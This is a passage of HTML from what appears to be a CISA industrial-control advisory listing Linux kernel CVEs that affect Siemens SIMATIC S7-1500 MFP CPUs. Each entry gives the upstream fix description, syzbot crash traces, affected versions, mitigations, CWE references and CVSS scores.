<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23003</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ip6_tunnel: use skb_vlan_inet_prepare() in __ip6_tnl_rcv() Blamed commit did not take care of VLAN encapsulations as spotted by syzbot [1]. Use skb_vlan_inet_prepare() instead of pskb_inet_may_pull(). [1] BUG: KMSAN: uninit-value in __INET_ECN_decapsulate include/net/inet_ecn.h:253 [inline] BUG: KMSAN: uninit-value in INET_ECN_decapsulate include/net/inet_ecn.h:275 [inline] BUG: KMSAN: uninit-value in IP6_ECN_decapsulate+0x7a8/0x1fa0 include/net/inet_ecn.h:321 __INET_ECN_decapsulate include/net/inet_ecn.h:253 [inline] INET_ECN_decapsulate include/net/inet_ecn.h:275 [inline] IP6_ECN_decapsulate+0x7a8/0x1fa0 include/net/inet_ecn.h:321 ip6ip6_dscp_ecn_decapsulate+0x16f/0x1b0 net/ipv6/ip6_tunnel.c:729 __ip6_tnl_rcv+0xed9/0x1b50 net/ipv6/ip6_tunnel.c:860 ip6_tnl_rcv+0xc3/0x100 net/ipv6/ip6_tunnel.c:903 gre_rcv+0x1529/0x1b90 net/ipv6/ip6_gre.c:-1 ip6_protocol_deliver_rcu+0x1c89/0x2c60 net/ipv6/ip6_input.c:438 ip6_input_finish+0x1f4/0x4a0 net/ipv6/ip6_input.c:489 NF_HOOK include/linux/netfilter.h:318 [inline] ip6_input+0x9c/0x330 net/ipv6/ip6_input.c:500 ip6_mc_input+0x7ca/0xc10 net/ipv6/ip6_input.c:590 dst_input include/net/dst.h:474 [inline] ip6_rcv_finish+0x958/0x990 net/ipv6/ip6_input.c:79 NF_HOOK include/linux/netfilter.h:318 [inline] ipv6_rcv+0xf1/0x3c0 net/ipv6/ip6_input.c:311 __netif_receive_skb_one_core net/core/dev.c:6139 [inline] __netif_receive_skb+0x1df/0xac0 net/core/dev.c:6252 netif_receive_skb_internal net/core/dev.c:6338 [inline] netif_receive_skb+0x57/0x630 net/core/dev.c:6397 tun_rx_batched+0x1df/0x980 drivers/net/tun.c:1485 tun_get_user+0x5c0e/0x6c60 drivers/net/tun.c:1953 tun_chr_write_iter+0x3e9/0x5c0 drivers/net/tun.c:1999 new_sync_write fs/read_write.c:593 [inline] vfs_write+0xbe2/0x15d0 fs/read_write.c:686 ksys_write fs/read_write.c:738 [inline] __do_sys_write fs/read_write.c:749 [inline] __se_sys_write fs/read_write.c:746 [inline] __x64_sys_write+0x1fb/0x4d0 fs/read_write.c:746 x64_sys_call+0x30ab/0x3e70 arch/x86/include/generated/asm/syscalls_64.h:2 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xd3/0xf80 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f Uninit was created at: slab_post_alloc_hook mm/slub.c:4960 [inline] slab_alloc_node mm/slub.c:5263 [inline] kmem_cache_alloc_node_noprof+0x9e7/0x17a0 mm/slub.c:5315 kmalloc_reserve+0x13c/0x4b0 net/core/skbuff.c:586 __alloc_skb+0x805/0x1040 net/core/skbuff.c:690 alloc_skb include/linux/skbuff.h:1383 [inline] alloc_skb_with_frags+0xc5/0xa60 net/core/skbuff.c:6712 sock_alloc_send_pskb+0xacc/0xc60 net/core/sock.c:2995 tun_alloc_skb drivers/net/tun.c:1461 [inline] tun_get_user+0x1142/0x6c60 drivers/net/tun.c:1794 tun_chr_write_iter+0x3e9/0x5c0 drivers/net/tun.c:1999 new_sync_write fs/read_write.c:593 [inline] vfs_write+0xbe2/0x15d0 fs/read_write.c:686 ksys_write fs/read_write.c:738 [inline] __do_sys_write fs/read_write.c:749 [inline] __se_sys_write fs/read_write.c:746 [inline] __x64_sys_write+0x1fb/0x4d0 fs/read_write.c:746 x64_sys_call+0x30ab/0x3e70 arch/x86/include/generated/asm/syscalls_64.h:2 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xd3/0xf80 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f CPU: 0 UID: 0 PID: 6465 Comm: syz.0.17 Not tainted syzkaller #0 PREEMPT(none) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23003">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/457.html">CWE-457 Use of Uninitialized Variable</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23005</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/fpu: Clear XSTATE_BV[i] in guest XSAVE state whenever XFD[i]=1 When loading guest XSAVE state via KVM_SET_XSAVE, and when updating XFD in response to a guest WRMSR, clear XFD-disabled features in the saved (or to be restored) XSTATE_BV to ensure KVM doesn't attempt to load state for features that are disabled via the guest's XFD. Because the kernel executes XRSTOR with the guest's XFD, saving XSTATE_BV[i]=1 with XFD[i]=1 will cause XRSTOR to #NM and panic the kernel. E.g. if fpu_update_guest_xfd() sets XFD without clearing XSTATE_BV: ------------[ cut here ]------------ WARNING: arch/x86/kernel/traps.c:1524 at exc_device_not_available+0x101/0x110, CPU#29: amx_test/848 Modules linked in: kvm_intel kvm irqbypass CPU: 29 UID: 1000 PID: 848 Comm: amx_test Not tainted 6.19.0-rc2-ffa07f7fd437-x86_amx_nm_xfd_non_init-vm #171 NONE Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 0.0.0 02/06/2015 RIP: 0010:exc_device_not_available+0x101/0x110 Call Trace: asm_exc_device_not_available+0x1a/0x20 RIP: 0010:restore_fpregs_from_fpstate+0x36/0x90 switch_fpu_return+0x4a/0xb0 kvm_arch_vcpu_ioctl_run+0x1245/0x1e40 [kvm] kvm_vcpu_ioctl+0x2c3/0x8f0 [kvm] __x64_sys_ioctl+0x8f/0xd0 do_syscall_64+0x62/0x940 entry_SYSCALL_64_after_hwframe+0x4b/0x53 ---[ end trace 0000000000000000 ]--- This can happen if the guest executes WRMSR(MSR_IA32_XFD) to set XFD[18] = 1, and a host IRQ triggers kernel_fpu_begin() prior to the vmexit handler's call to fpu_update_guest_xfd(). and if userspace stuffs XSTATE_BV[i]=1 via KVM_SET_XSAVE: ------------[ cut here ]------------ WARNING: arch/x86/kernel/traps.c:1524 at exc_device_not_available+0x101/0x110, CPU#14: amx_test/867 Modules linked in: kvm_intel kvm irqbypass CPU: 14 UID: 1000 PID: 867 Comm: amx_test Not tainted 6.19.0-rc2-2dace9faccd6-x86_amx_nm_xfd_non_init-vm #168 NONE Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 0.0.0 02/06/2015 RIP: 0010:exc_device_not_available+0x101/0x110 Call Trace: asm_exc_device_not_available+0x1a/0x20 RIP: 0010:restore_fpregs_from_fpstate+0x36/0x90 fpu_swap_kvm_fpstate+0x6b/0x120 kvm_load_guest_fpu+0x30/0x80 [kvm] kvm_arch_vcpu_ioctl_run+0x85/0x1e40 [kvm] kvm_vcpu_ioctl+0x2c3/0x8f0 [kvm] __x64_sys_ioctl+0x8f/0xd0 do_syscall_64+0x62/0x940 entry_SYSCALL_64_after_hwframe+0x4b/0x53 ---[ end trace 0000000000000000 ]--- The new behavior is consistent with the AMX architecture. Per Intel's SDM, XSAVE saves XSTATE_BV as '0' for components that are disabled via XFD (and non-compacted XSAVE saves the initial configuration of the state component): If XSAVE, XSAVEC, XSAVEOPT, or XSAVES is saving the state component i, the instruction does not generate #NM when XCR0[i] = IA32_XFD[i] = 1; instead, it operates as if XINUSE[i] = 0 (and the state component was in its initial state): it saves bit i of XSTATE_BV field of the XSAVE header as 0; in addition, XSAVE saves the initial configuration of the state component (the other instructions do not save state component i). Alternatively, KVM could always do XRSTOR with XFD=0, e.g. by using a constant XFD based on the set of enabled features when XSAVEing for a struct fpu_guest. However, having XSTATE_BV[i]=1 for XFD-disabled features can only happen in the above interrupt case, or in similar scenarios involving preemption on preemptible kernels, because fpu_swap_kvm_fpstate()'s call to save_fpregs_to_fpstate() saves the outgoing FPU state with the current XFD; and that is (on all but the first WRMSR to XFD) the guest XFD. Therefore, XFD can only go out of sync with XSTATE_BV in the above interrupt case, or in similar scenarios involving preemption on preemptible kernels, and it we can consider it (de facto) part of KVM ABI that KVM_GET_XSAVE returns XSTATE_BV[i]=0 for XFD-disabled features. [Move clea ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23005">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23010</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: Fix use-after-free in inet6_addr_del(). syzbot reported use-after-free of inet6_ifaddr in inet6_addr_del(). [0] The cited commit accidentally moved ipv6_del_addr() for mngtmpaddr before reading its ifp-&gt;flags for temporary addresses in inet6_addr_del(). Let's move ipv6_del_addr() down to fix the UAF. [0]: BUG: KASAN: slab-use-after-free in inet6_addr_del.constprop.0+0x67a/0x6b0 net/ipv6/addrconf.c:3117 Read of size 4 at addr ffff88807b89c86c by task syz.3.1618/9593 CPU: 0 UID: 0 PID: 9593 Comm: syz.3.1618 Not tainted syzkaller #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025 Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0xcd/0x630 mm/kasan/report.c:482 kasan_report+0xe0/0x110 mm/kasan/report.c:595 inet6_addr_del.constprop.0+0x67a/0x6b0 net/ipv6/addrconf.c:3117 addrconf_del_ifaddr+0x11e/0x190 net/ipv6/addrconf.c:3181 inet6_ioctl+0x1e5/0x2b0 net/ipv6/af_inet6.c:582 sock_do_ioctl+0x118/0x280 net/socket.c:1254 sock_ioctl+0x227/0x6b0 net/socket.c:1375 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:597 [inline] __se_sys_ioctl fs/ioctl.c:583 [inline] __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xcd/0xf80 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f164cf8f749 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 &lt;48&gt; 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f164de64038 EFLAGS: 00000246 ORIG_RAX: 0000000000000010 RAX: ffffffffffffffda RBX: 00007f164d1e5fa0 RCX: 00007f164cf8f749 RDX: 0000200000000000 RSI: 0000000000008936 RDI: 0000000000000003 RBP: 00007f164d013f91 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 R13: 00007f164d1e6038 R14: 00007f164d1e5fa0 R15: 00007ffde15c8288 Allocated by task 9593: kasan_save_stack+0x33/0x60 mm/kasan/common.c:56 kasan_save_track+0x14/0x30 mm/kasan/common.c:77 poison_kmalloc_redzone mm/kasan/common.c:397 [inline] __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:414 kmalloc_noprof include/linux/slab.h:957 [inline] kzalloc_noprof include/linux/slab.h:1094 [inline] ipv6_add_addr+0x4e3/0x2010 net/ipv6/addrconf.c:1120 inet6_addr_add+0x256/0x9b0 net/ipv6/addrconf.c:3050 addrconf_add_ifaddr+0x1fc/0x450 net/ipv6/addrconf.c:3160 inet6_ioctl+0x103/0x2b0 net/ipv6/af_inet6.c:580 sock_do_ioctl+0x118/0x280 net/socket.c:1254 sock_ioctl+0x227/0x6b0 net/socket.c:1375 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:597 [inline] __se_sys_ioctl fs/ioctl.c:583 [inline] __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xcd/0xf80 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f Freed by task 6099: kasan_save_stack+0x33/0x60 mm/kasan/common.c:56 kasan_save_track+0x14/0x30 mm/kasan/common.c:77 kasan_save_free_info+0x3b/0x60 mm/kasan/generic.c:584 poison_slab_object mm/kasan/common.c:252 [inline] __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:284 kasan_slab_free include/linux/kasan.h:234 [inline] slab_free_hook mm/slub.c:2540 [inline] slab_free_freelist_hook mm/slub.c:2569 [inline] slab_free_bulk mm/slub.c:6696 [inline] kmem_cache_free_bulk mm/slub.c:7383 [inline] kmem_cache_free_bulk+0x2bf/0x680 mm/slub.c:7362 kfree_bulk include/linux/slab.h:830 [inline] kvfree_rcu_bulk+0x1b7/0x1e0 mm/slab_common.c:1523 kvfree_rcu_drain_ready mm/slab_common.c:1728 [inline] kfree_rcu_monitor+0x1d0/0x2f0 mm/slab_common.c:1801 process_one_work+0x9ba/0x1b20 kernel/workqueue.c:3257 process_scheduled_works kernel/workqu ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23010">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23011</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv4: ip_gre: make ipgre_header() robust Analog to commit db5b4e39c4e6 ("ip6_gre: make ip6gre_header() robust") Over the years, syzbot found many ways to crash the kernel in ipgre_header() [1]. This involves team or bonding drivers ability to dynamically change their dev-&gt;needed_headroom and/or dev-&gt;hard_header_len In this particular crash mld_newpack() allocated an skb with a too small reserve/headroom, and by the time mld_sendpack() was called, syzbot managed to attach an ipgre device. [1] skbuff: skb_under_panic: text:ffffffff89ea3cb7 len:2030915468 put:2030915372 head:ffff888058b43000 data:ffff887fdfa6e194 tail:0x120 end:0x6c0 dev:team0 kernel BUG at net/core/skbuff.c:213 ! Oops: invalid opcode: 0000 [#1] SMP KASAN PTI CPU: 1 UID: 0 PID: 1322 Comm: kworker/1:9 Not tainted syzkaller #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025 Workqueue: mld mld_ifc_work RIP: 0010:skb_panic+0x157/0x160 net/core/skbuff.c:213 Call Trace: skb_under_panic net/core/skbuff.c:223 [inline] skb_push+0xc3/0xe0 net/core/skbuff.c:2641 ipgre_header+0x67/0x290 net/ipv4/ip_gre.c:897 dev_hard_header include/linux/netdevice.h:3436 [inline] neigh_connected_output+0x286/0x460 net/core/neighbour.c:1618 NF_HOOK_COND include/linux/netfilter.h:307 [inline] ip6_output+0x340/0x550 net/ipv6/ip6_output.c:247 NF_HOOK+0x9e/0x380 include/linux/netfilter.h:318 mld_sendpack+0x8d4/0xe60 net/ipv6/mcast.c:1855 mld_send_cr net/ipv6/mcast.c:2154 [inline] mld_ifc_work+0x83e/0xd60 net/ipv6/mcast.c:2693 process_one_work kernel/workqueue.c:3257 [inline] process_scheduled_works+0xad1/0x1770 kernel/workqueue.c:3340 worker_thread+0x8a0/0xda0 kernel/workqueue.c:3421 kthread+0x711/0x8a0 kernel/kthread.c:463 ret_from_fork+0x510/0xa50 arch/x86/kernel/process.c:158 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:246</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23011">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/124.html">CWE-124 Buffer Underwrite ('Buffer Underflow')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.6</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23019</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: marvell: prestera: fix NULL dereference on devlink_alloc() failure devlink_alloc() may return NULL on allocation failure, but prestera_devlink_alloc() unconditionally calls devlink_priv() on the returned pointer. This leads to a NULL pointer dereference if devlink allocation fails. Add a check for a NULL devlink pointer and return NULL early to avoid the crash.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23019">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23026</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: qcom: gpi: Fix memory leak in gpi_peripheral_config() Fix a memory leak in gpi_peripheral_config() where the original memory pointed to by gchan-&gt;config could be lost if krealloc() fails. The issue occurs when: 1. gchan-&gt;config points to previously allocated memory 2. krealloc() fails and returns NULL 3. The function directly assigns NULL to gchan-&gt;config, losing the reference to the original memory 4. The original memory becomes unreachable and cannot be freed Fix this by using a temporary variable to hold the krealloc() result and only updating gchan-&gt;config when the allocation succeeds. Found via static analysis and code review.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23026">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/772.html">CWE-772 Missing Release of Resource after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
